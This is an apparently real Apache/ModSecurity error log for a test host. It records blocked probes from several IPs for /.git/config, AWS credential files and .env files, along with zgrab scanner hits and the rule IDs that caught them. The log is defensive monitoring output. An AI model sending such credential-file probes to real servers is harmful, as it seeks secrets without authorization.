[Sat Jul 12 20:58:00.975943 2025] [:error] [pid 1129836] [client 98.81.231.236:46700] [client 98.81.231.236] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHKwOP9lR_enhE5GqkcxcQAAAAk&quot;]
[Sat Jul 12 20:58:00.976209 2025] [:error] [pid 1129836] [client 98.81.231.236:46700] [client 98.81.231.236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHKwOP9lR_enhE5GqkcxcQAAAAk&quot;]
[Sat Jul 12 20:58:00.976371 2025] [:error] [pid 1129836] [client 98.81.231.236:46700] [client 98.81.231.236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHKwOP9lR_enhE5GqkcxcQAAAAk&quot;]
[Sun Jul 13 02:30:58.933710 2025] [:error] [pid 1137552] [client 185.177.72.202:59738] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aHL-Qox5PAiXmQHEeKZSEQAAAAE&quot;]
[Sun Jul 13 02:30:58.934759 2025] [:error] [pid 1137552] [client 185.177.72.202:59738] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aHL-Qox5PAiXmQHEeKZSEQAAAAE&quot;]
[Sun Jul 13 02:30:58.934974 2025] [:error] [pid 1137552] [client 185.177.72.202:59738] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aHL-Qox5PAiXmQHEeKZSEQAAAAE&quot;]
[Sun Jul 13 02:30:59.067038 2025] [:error] [pid 1137552] [client 185.177.72.202:59738] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHL-Q4x5PAiXmQHEeKZSEgAAAAE&quot;]
[Sun Jul 13 02:30:59.067420 2025] [:error] [pid 1137552] [client 185.177.72.202:59738] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHL-Q4x5PAiXmQHEeKZSEgAAAAE&quot;]
[Sun Jul 13 02:30:59.067682 2025] [:error] [pid 1137552] [client 185.177.72.202:59738] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHL-Q4x5PAiXmQHEeKZSEgAAAAE&quot;]
[Mon Jul 14 16:02:03.382998 2025] [:error] [pid 1166505] [client 18.224.192.118:40883] [client 18.224.192.118] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aHUN23rG2yIk-R27EN3V7QAAAAE&quot;]
[Mon Jul 14 16:02:03.386611 2025] [:error] [pid 1166505] [client 18.224.192.118:40883] [client 18.224.192.118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aHUN23rG2yIk-R27EN3V7QAAAAE&quot;]
[Mon Jul 14 16:02:03.386837 2025] [:error] [pid 1166505] [client 18.224.192.118:40883] [client 18.224.192.118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aHUN23rG2yIk-R27EN3V7QAAAAE&quot;]
[Mon Jul 14 16:38:52.777115 2025] [:error] [pid 1166511] [client 93.123.109.7:58256] [client 93.123.109.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHUWfLHrhfLAq83nYEFwbwAAAAM&quot;]
[Mon Jul 14 16:38:52.777467 2025] [:error] [pid 1166511] [client 93.123.109.7:58256] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHUWfLHrhfLAq83nYEFwbwAAAAM&quot;]
[Mon Jul 14 16:38:52.777732 2025] [:error] [pid 1166511] [client 93.123.109.7:58256] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHUWfLHrhfLAq83nYEFwbwAAAAM&quot;]
[Thu Jul 17 22:06:02.785660 2025] [:error] [pid 1251811] [client 185.177.72.104:18670] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHlXqh9uh_toT3_3D6_r3AAAAA0&quot;]
[Thu Jul 17 22:06:02.787362 2025] [:error] [pid 1251811] [client 185.177.72.104:18670] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHlXqh9uh_toT3_3D6_r3AAAAA0&quot;]
[Thu Jul 17 22:06:02.787565 2025] [:error] [pid 1251811] [client 185.177.72.104:18670] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHlXqh9uh_toT3_3D6_r3AAAAA0&quot;]
[Sat Jul 19 09:44:07.932256 2025] [:error] [pid 1291456] [client 3.146.111.124:45104] [client 3.146.111.124] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aHtMx39HRTr3KxPrbnNo_QAAAAQ&quot;]
[Sat Jul 19 09:44:07.933416 2025] [:error] [pid 1291456] [client 3.146.111.124:45104] [client 3.146.111.124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aHtMx39HRTr3KxPrbnNo_QAAAAQ&quot;]
[Sat Jul 19 09:44:07.933628 2025] [:error] [pid 1291456] [client 3.146.111.124:45104] [client 3.146.111.124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aHtMx39HRTr3KxPrbnNo_QAAAAQ&quot;]
[Sun Jul 20 17:01:34.618800 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEURAAAAA0&quot;]
[Sun Jul 20 17:01:34.620056 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEURAAAAA0&quot;]
[Sun Jul 20 17:01:34.620234 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEURAAAAA0&quot;]
[Sun Jul 20 17:01:34.661439 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEURgAAAA0&quot;]
[Sun Jul 20 17:01:34.661751 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEURgAAAA0&quot;]
[Sun Jul 20 17:01:34.661993 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEURgAAAA0&quot;]
[Sun Jul 20 17:01:34.687967 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEURwAAAA0&quot;]
[Sun Jul 20 17:01:34.688251 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEURwAAAA0&quot;]
[Sun Jul 20 17:01:34.688461 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEURwAAAA0&quot;]
[Sun Jul 20 17:01:34.709789 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSAAAAA0&quot;]
[Sun Jul 20 17:01:34.710051 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSAAAAA0&quot;]
[Sun Jul 20 17:01:34.710276 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSAAAAA0&quot;]
